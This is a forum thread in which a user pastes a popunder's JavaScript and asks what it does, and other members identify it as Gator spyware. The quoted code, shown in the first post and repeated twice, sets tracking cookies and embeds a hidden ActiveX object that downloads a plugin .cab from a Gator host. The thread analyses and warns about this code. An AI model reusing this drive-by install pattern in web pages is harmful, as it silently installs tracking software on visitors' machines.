Results 1 to 10 of 10
  1. #1
    ABW Ambassador
    Join Date
    January 18th, 2005
    Posts
    1,403
    when I opend a certain website with my OPERA browser a small window appears and after some time it disappears.
    I do not know much about javascript, but as the sourcecode of that window seems to set and overwrite cookies, dowload gator spayware and then closes after some time. Here is the sourcecode:



    <script language="JavaScript">
    var pdppi_loaded = false;

    function sendPartnerEvent( ){
    var event_src = "";
    if( event_src ){
    document.partnerEventPixel.src = event_src;
    }
    }

    function changeEventPixelSrc( eventid, eventnum ){
    var event_src = "/uniq3/Pg8iWAr6AhQAAG6nAu8" + eventnum + ".gif?yic=HIC_AdDynamixINT&eventid=" + eventid + "&reason=0&wuid=Pg8iWAr6AhQAAG6nAu8&ver=0";
    switch( eventnum ){
    case 2:
    document.eventPixel2.src = event_src;
    break;
    default:
    document.eventPixel1.src = event_src;
    }
    }

    function openNew( ){
    var pos_top = (screen.height/2)-(350/2);
    var pos_left = (screen.width/2)-(600/2);
    window.open( '','ncr','width=600,height=350,top=' + pos_top + ',left=' + pos_left );
    }

    function sleep_close( wait ){
    var jsTimer = wait * 1000;
    setTimeout("window.close();",jsTimer);
    return true;
    }

    function checkPlugin( ){
    var js_plugin_error = 0;
    var strObjType = typeof( IEGator );
    if( 'object' == strObjType ){
    var strParamsType = typeof( IEGator.params );
    if ( strParamsType != 'string' ){
    js_plugin_error += 1;
    }
    } else {
    if('undefined' == strObjType){
    js_plugin_error += 2;
    }
    else if( 'unknown' == strObjType ){
    js_plugin_error += 4;
    } else {
    js_plugin_error += 8;
    }
    }

    setCookie( "GatorWebPdpCookie_OfferedApps", "datemanager:1|precisiontime:1", 30 );
    setCookie( "GatorWebPdpCookie_WUID", "Pg8iWAr6AhQAAG6nAu8", 3650 );
    setCookie( "GatorWebPdpCookie_PluginTimer", 1041181024, 3650 );
    setCookie( "GatorWebPdpCookie_VisitedPartners", "hic_addynamixint:1", 30 );

    if( js_plugin_error == 0 || pdppi_loaded ){
    window.focus();
    setCookie( "GatorWebPdpCookie_ApprovedApps", "datemanager|precisiontime", 3650 );
    changeEventPixelSrc( 4011, 2 );
    sendPartnerEvent( );
    } else {
    changeEventPixelSrc( 4012, 2 );

    sleep_close( 30 );
    }


    }

    function setCookie( name, value, days ){
    var expiry = 1000 * 60 * 60 * 24 * days;
    var expDate = new Date();
    expDate.setTime(expDate.getTime() + expiry);
    document.cookie = name + "=" + escape( value ) + "; expires=" + expDate.toGMTString() + "; path=/; domain=.gator.com";
    }

    function embedPlugin( ){
    document.writeln( "<object" );
    document.writeln( " id=\"IEGator\"" );
    document.writeln( " classid=\"CLSID:731918D2-517A-47e2-886A-3BC1380C591D\"" );
    document.writeln( " codebase=\"http://webpdp.gator.com/v3/download/ pdpplugin_4094_hd3ptdm.cab\"" );
    document.writeln( " align=\"baseline\"" );
    document.writeln( " border=\"0\"" );
    document.writeln( " width=\"2\"" );
    document.writeln( " height=\"2\">" );
    document.writeln( " " );
    document.writeln( " " );
    document.writeln( "" );
    }


    <script language="JavaScript" for="IEGator" event="onPluginCreated()">
    pdppi_loaded = true;
    return 7;

    Please Wait ...



    <script language="JavaScript1.2">
    changeEventPixelSrc( 4001, 1 );
    embedPlugin();



    =================================================

    Has anybod enough experience with javascript to tell me exactly what this disapearing popunder does?

    carneol

  2. #2
    ABW Ambassador DesignerWiz's Avatar
    Join Date
    January 18th, 2005
    Location
    U.S.A
    Posts
    2,777
    1 year calling reference cookie insertion

    DesignerWiz.com Team
    http://DesignerWiz.com

  3. #3
    ABW Ambassador DesignerWiz's Avatar
    Join Date
    January 18th, 2005
    Location
    U.S.A
    Posts
    2,777
    We tried to back track gator and see what exactly they are up to on the .gif insertion to give you a complete accurate answer. From what we believe (speculative) they are doing without knowing fully what they are doing from the "forbidden" URL entry we attempted. It appears that the cookie is to call on the .gif as original source ID# of possibly any immediate sales and call the .gif from cache at any time thereafter.

    Hope this helps.

    DesignerWiz.com Team
    http://DesignerWiz.com

  4. #4
    2005 Linkshare Golden Link Award Winner  ecomcity's Avatar
    Join Date
    January 18th, 2005
    Location
    St Clair Shores MI.
    Posts
    17,328
    Creating fake impressions with an add-in click cheat script to throw off idiot merchant AM's is more like it. That way the network reports show activity like normal affiliates to throw off the sent of having zero impressions and clickthrough for the hijacked sales.

    Webmaster Mike

    "Anyone can make a dollar, it is when you make sense that it starts to add up."...does your eBiz plan make sense?

  5. #5
    ABW Ambassador DesignerWiz's Avatar
    Join Date
    January 18th, 2005
    Location
    U.S.A
    Posts
    2,777
    We tend to agree with you Mike. But, without all the true facts we had to say "speculative" .. lol

    DesignerWiz.com Team
    http://DesignerWiz.com

  6. #6
    ABW Ambassador
    Join Date
    January 18th, 2005
    Posts
    1,403
    A Javascript guru at webdeveloper forum said that a hidden plugin is set to the webbrowser without asking for permission, and that this plugin (

    function embedPlugin( ){
    document.writeln( "<object" );
    document.writeln( " id=\"IEGator\"" );
    document.writeln( " classid=\"CLSID:731918D2-517A-47e2-886A-3BC1380C591D\"" );
    document.writeln( " codebase=\"http://webpdp.gator.com/v3/download/ pdpplugin_4094_hd3ptdm.cab\"" );
    document.writeln( " align=\"baseline\"" );
    document.writeln( " border=\"0\"" );
    document.writeln( " width=\"2\"" );
    document.writeln( " height=\"2\">" );
    document.writeln( " " );
    document.writeln( " " );
    document.writeln( "" );
    }

    ) is gathering any information on my PC and where I surf and even the phone number and then reports it back to gator. If I were using IE this action would be invisible to me. I only could find that code because I used Opera browser.

    carneol

  7. #7
    ABW Ambassador
    Join Date
    January 18th, 2005
    Posts
    1,403
    A Javascript guru at webdeveloper forum said that a hidden plugin is set to the webbrowser without asking for permission, and that this plugin (

    function embedPlugin( ){
    document.writeln( "<object" );
    document.writeln( " id=\"IEGator\"" );
    document.writeln( " classid=\"CLSID:731918D2-517A-47e2-886A-3BC1380C591D\"" );
    document.writeln( " codebase=\"http://webpdp.gator.com/v3/download/ pdpplugin_4094_hd3ptdm.cab\"" );
    document.writeln( " align=\"baseline\"" );
    document.writeln( " border=\"0\"" );
    document.writeln( " width=\"2\"" );
    document.writeln( " height=\"2\">" );
    document.writeln( " " );
    document.writeln( " " );
    document.writeln( "" );
    }

    ) is gathering any information on my PC and where I surf and even the phone number and then reports it back to gator. If I were using IE this action would be invisible to me. I only could find that code because I used Opera browser.

    carneol

  8. #8
    2005 Linkshare Golden Link Award Winner  ecomcity's Avatar
    Join Date
    January 18th, 2005
    Location
    St Clair Shores MI.
    Posts
    17,328
    The spywarez section is designed to feed the telemarketers and sell off surfing habits to all the advertising industry wanks. Gator is just a big data sucking vacuum cleaner bottom feeding on all Internet activity. Seems the Ad industry has sunk to a lower level that was reserved to Lawyers and drug dealers.

    Webmaster Mike

    "Anyone can make a dollar, it is when you make sense that it starts to add up."...does your eBiz plan make sense?

  9. #9
    ABW Ambassador Andy's Avatar
    Join Date
    January 18th, 2005
    Posts
    4,178
    Nice, very nice.

    I'm sure the end user was notified at download that their surfing activities are being documented.

    Andy

    AFFILIATE MARKETING STANDARD: The site upon which the initial action to buy occurs is the site the commission is paid to. Period.

  10. #10
    ABW Ambassador
    Join Date
    January 18th, 2005
    Posts
    1,403
    I was not notified, and did not ask for that activity. The problem is that if I would have used IE from Microsoft, the popup would not be seen. The javascript which is implented to Opera browser is not as good as that IE has, and therefore the popup appeared and was not able to be executed. Perhaps we should recommend all our customers to use Opera browser, as perhaps the parasiteware scripts were not executable there.

    Carneol

  11. Newsletter Signup

+ Reply to Thread

Similar Threads

  1. Help with Javascript?
    By SSanf in forum Programming / Datafeeds / Tools
    Replies: 1
    Last Post: January 24th, 2005, 05:16 PM
  2. JavaScript Help
    By FunPortal in forum Programming / Datafeeds / Tools
    Replies: 6
    Last Post: August 9th, 2003, 02:14 PM
  3. javascript help
    By SpaceBandit in forum Programming / Datafeeds / Tools
    Replies: 1
    Last Post: December 30th, 2001, 08:56 PM
  4. Javascript or otherwise...
    By TH Media in forum Programming / Datafeeds / Tools
    Replies: 2
    Last Post: December 1st, 2001, 11:21 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •